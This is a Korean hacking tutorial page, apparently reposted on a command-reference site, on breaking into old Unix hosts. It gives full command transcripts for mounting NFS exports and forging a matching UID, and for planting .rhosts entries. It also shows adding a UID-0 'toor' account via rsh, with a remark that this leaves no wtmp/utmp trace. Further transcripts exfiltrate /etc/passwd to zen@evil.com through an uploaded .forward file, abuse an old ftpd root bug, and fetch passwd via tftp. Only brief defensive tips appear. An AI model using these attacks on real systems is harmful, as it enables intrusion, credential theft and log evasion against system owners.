사이트 내 전체검색
FTP 이용 해킹
로빈아빠
https://cmd.kr/server/871 URL이 복사되었습니다.

본문

1. 다른 시스템의 남의 디렉토리 접근하기

먼저 showmount로 상대편 시스템의 디렉토리중 공개된 디렉토리를 찾는다.

evil % showmount -e victim.com
export list for victim.com:
/export                                (everyone)
/var                                    (everyone)
/usr                                    easy
/export/exec/kvm/sun4c.sunos.4.1.3      easy
/export/root/easy                      easy
/export/swap/easy                      easy
위를 보면 공개된 디렉토리의 열거를 볼 수 있다. 요즘의 시스템에는 위와 같이 공개시키는 경우는 드물고, 있다하더라도 보통 은 /usr디렉토리 정도이다. 하지만 /usr디렉토리만 공개되어도 우리가 할 수 있는 목적은 충분히 달성할 수 있다.
다음으로 할 일은 자기의 시스템에 있는 디렉토리에 상대편의 공개된 디렉토리를 마운트 시키는 일이다. 이제부터는 최소한 루 트(root)의 권한이 있어야한다. 루트가 아니면 hacking도 못해먹는다. '#'의 prompt표시는 루트의 prompt임을 모두 알것이다.

evil # mount victim.com:/usr /foo
evil # cd /foo
evil # ls -alg
total 3
  1  drwxr-xr-x    11  root      deamon        512  Jun 19  09:47  .
  1  drwxr-xr-x    7  root      wheel        512  Jun 19  1991  . .
  1  drwx--x--x    9  10001      deamon      1024  Jun  3  15:49  guest
자 이제 상대편 디렉토리를 마운트 시켰고, 그 디렉토리를 들어가서 그 아래 guest라는 디렉토리가 있는 것을 볼 수 있다. 이 디렉토리는 1001의 UID를 갖는 사람의 소유임을 알 수 있고, 그 사람의 계정이 guest이고, home디렉토리가 바로 이 guest디렉토 리라는 것을 추정할 수 있다. 이제 목표가 정해졌다. 아직은 이 디렉토리의 접근 권한은 other의 권한밖에 없으므로 그 사람이 g uest디렉토리의 other접근 권한을 막아 놓았다면 아직은 그 디렉토리에 접근 할 수 가 없다. 이제 이 디렉토리의 접근 권한을 얻 어보자. 방법은 아주 간단하다. 자신의 시스템에 같은 UID를 갖는 사람의 계정을 하나 만들어 주고 내가 그 사람이 되는 거다 너 무나 우습게 쉬운 방법이다.

evil # echo guest:x:10001:1:temporary breakin account:/: >>/etc/passwd
evil # ls -alg
total 3
  1 drwxr-xr-x  11  root    deamon    512  Jun 19  09:47  .
  1 drwxr-xr-x  7  root    wheel      512  Jun 19  1991  . .
  1 drwx--x--x  9  guest  deamon    1024  Jun  3  15:49  guest
자신의 시스템에 같은 계정을 만들어주고 ls를 해보니 이제는 UID가 숫자로 나오지 않고, 계정으로 바뀌어 나온다. 이제 모든 준비는 끝났다. 내가 그 사람이 되어 그 사람 디렉토리를 마음대로 사용할 수 있다. 하지만 여기에 하나의 테크닉이 더 있다. 그 사람의 home디렉토리에 .rhost라는 파일에 자신의 서버이름을 적어 주면 다음 부터는 나의 시스템에서 그사람이 된 다음 바로 그 시스템으로 로그인을 할 수 있게 된다. 물론 패스워드가 필요없이... 그렇다면 지금 보다는 더 많은 일들을 그곳에서 할 수 있게된다. 자. 이제 마지막이다. 여기서 'evil.com'은 내 시스템의 도메인 네임이다.

evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!!
victim %
만약에 공개된 디렉토리가 /bin과 같이 실행 파일이 있는 디렉토리라면 당신은 그곳에 트로이 목마를 저장시켜 다른 사람으로 하여금 실행시킬 수 도 있을 것이다.
하지만 이 방법은 당신이 그 시스템에서 root의 권한을 가지지 못하기 때문에 당신이 그곳에 접속한 기록 파일을 지울 수 없다 . 그 쪽에서 마음만 먹으면 당신의 경로를 추적할 수도 있다.
부디 다른 시스템에 해가 되는 장난은 하지 말고 가벼운 실험에서 끝나기를 바란다. 이상.

2. 다른 시스템에서 root되기
이 방법이 통하는 시스템은 요즘은 거의 없다. 하지만 간혹 부실한 옛 컴퓨터에는 통할 지도 모르니 한 번쯤 도전해 봐도 좋다 . 성공한다면 당신은 그 시스템의 최고 권력자가 된다.
이 방법은 /etc/hosts.equiv에 "+"의 와일드 카드를 가지거나 약간의 버그로 인해 가능해지는데, 한마디로 루트가 아 닌 사람이 상대편 호스트로 패스워드 없이 로그인 해서 그곳의 /etc/passwd파일을 수정하는 것이다.
이 방법을 써먹기 위해서는 물론 당신이 자신의 시스템에서 루트이어야한다. 먼저 당신은 당신 시스템에서 bin이 된다. 그리고 상대편 호스트에 멋지게 로그인 한다음에 그곳의 패스워드 파일에 루트와 같은 UID를 가지는 자신의 계정을 추가 시킨 후 유유히 빠져나온다.

evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim %
이제 당신은 상대편 시스템으로 들어왔다. 많은 일을 할 수는 없지만, 당신이 필요로 하는 일은 충분히 가능하다. 이제 /etc디렉토리에 있는 passwd파일에 자신의 계정을 써 넣는다. more나 vi 등의 명령은 통하지 않으니 아래의 방법을 권장한다.

victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil %
이제 모든 것이 끝났다. 당신의 막강한 루트권한을 가진 계정으로 접속을 해보아라.

evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #
위의 방법은 시스템의 기록 파일들인 wtmp나 utmp에 기록을 남기지 않고, finger나 who등으로도 알아낼 수가 없기 때문에 꽤 쓸 만한 방법이다. 하지만, 이 방법에 의해 접근될만한 시스템이 현재는 많지 않다. 이 remote shell은 터미널 의존적이지 않기 때문에 앞에 말했듯이 vi나 more같은 스크린에 기반한 프로그램은 동작하지 않는다.
COPS라는 자체 보안 프로그램은 이러한 해킹에 드러난 취약점을 발견해주니 관리자는 한 번쯤 사용해 보기를 권한다. tcp wrapper같은 프로그램도 이러한 로그인을 발견할 수 있으니 관심있는 사람은 사용해 보세요.

3. FTP와 메일을 이용하여 상대편 호스트의 passwd파일 가져오기
이방법은 먼저 anonymous서비스를 해주는 ftp서버에서 ftp의 home 디렉토리가 요즘처럼 ~ftp/ 같이 따로 있지 않고 root디렉토 리에 있을 경우와 그 디렉토리에 파일을 올려놓을 수 있게 된 시스템에서만 가능하다.
여기서는 mail에서 사용되는 .forward파일을 사용한다. .forward는 어떠한 계정의 home디렉토리에 있으면서 그 계정으로 온 mail을 다른 곳으로 보내주는것에 대한 정보가 기록된다.
당신은 먼저 ftp에 접속을 한다. 그러면 로그인 된 디렉토리는 그곳의 root디렉토리일 것이고, 그곳의 /etc에는 passwd파일이 있을 것이다. 이것을 가져오는 것이다. 그곳 ftp의 home디렉토리, 즉 root디렉토리에다 당신이 그곳에 접속하기전에 미리 만들어 놓은 파일을 .forward라는 이름으로 올려놓는다. 그러면 이제 passwd파일을 가져오기 위한 준비가 끝난다. 여기서 zen은 자신의 호스트에 있는 자신의 계정이다.
가장 먼저 .forward로 올려지게 될 파일을 작성한다.

evil % cat forward_suck_file
"|/bin/mail zen@evil.com < /etc/passwd"
이제 ftp서버에 접속해서 이 파일을 .forward라는 이름으로 ftp의 home디렉토리에 올려놓는다.

evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen) : ftp
331 Guest login ok, send ident as password.
password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 byte).
total 5
drwxr-xr-x  4  101    1              512  Jun  20    1991  .
drwxr-xr-x  4  101    1              512  Jun  20    1991  . .
drwxr-xr-x  2  0      1              512  Jun  20    1991  bin
drwxr-xr-x  2  0      1              512  Jun  20    1991  etc
drwxr-xr-x  3  101    1              512  Aug  22    1991  pub
226 ASCII Transfer complete.
242 byte received in 0.066 seconds (3.6 Kbyte/s)
ftp> put forward_sucker_file .forwar

d
43 byte sent in 0.0015 seconds (28 Kbyte/s)
ftp> quit
evil %
자 이제 그곳의 ftp에게 편지를 보내보자 당신이 올려놓은 .forward파일에 의해 그곳의 passwd파일이 당신에게 mail로 전달될 것이다.

evil % echo test | mail ftp@victim.com
COPS라는 자체 보안 프로그램은 당신의 시스템에 이러한 FTP의 구멍이 있는지를 점검해준다. 이러한 취약점은 100% 관리자의 소홀이다. ftp의 home디렉토리를 따로 ~ftp/에 만들어 주든지 각 디렉토리와 파일의 접근 권한을 적절히 지정해 준다면 절대 일어나지 않을 hacking방법이다.



--------------------------------------------------------------------------------


4. FTP에서 root권한을 가지는 옛날 방법
이 방법은 ftp에서 root의 권한을 획득하는 오래전의 방법이다. 물론 당신의 시스템이 아직도 이런 bug를 가진 ftpd로 구동되고 있다면 ftpd를 빠른 시일내에 업그레이드 시켜야 할 것이다. 해킹 방법은 간단하다. 아래와 같이 몇줄의 간단한 명령으로 끝이난다 .

evil % ftp -n
ftp> open victim.com
connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restriction apply.
ftp> ls -al / (or whatever)
만약에 위의 방법이 성공되었다면, 당신은 ftp에 root의 권한으로 login된 것이다. 당신은 ftp의 모든 기능을 활용해 passwd파 일을 바꾸거나 당신이 원하는 모든일을 할 수 있다.
이제는 이런 버그를 가진 시스템이 없겠지만 아직도 있다면 부디 각성바란다.


--------------------------------------------------------------------------------

5. tftp로 상대 호스트의 passwd파일 가져오기
ftp와 비슷한 프로그램으로 tft나 기타 기본적인 기능을 가진 파일전송 프로그램이 있다. 이 데몬은 확인을 위해 비밀번호를 요구하지 않는다. 만약에 그 시스템에서 특별히 접근권한을 제한하지 않았다면 당신은 그 시스템에 읽거나 쓰기를 마음대로 할 수 있다. 아래와 같이 하면 간단히 자신의 /tmp 디렉토리로 상대 호스트의 /etc/passwd 파일을 가져올 수 있다.

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
위에서와 같은 도둑질을 막기 위해서는 역시 간단하다. tftp같은 프로그램을 사용하지 못하게 하면 된다. tftp가 꼭 필요하다면 , 안전을 위해 플래그나 옵션 등을 적절히 사용하여 접근 권한을 제한하거나, chroot wrapper 프로그램의 관리 아래에 두면 된다

댓글목록

등록된 댓글이 없습니다.

1,139 (17/23P)

Search

Copyright © Cmd 명령어 3.133.140.88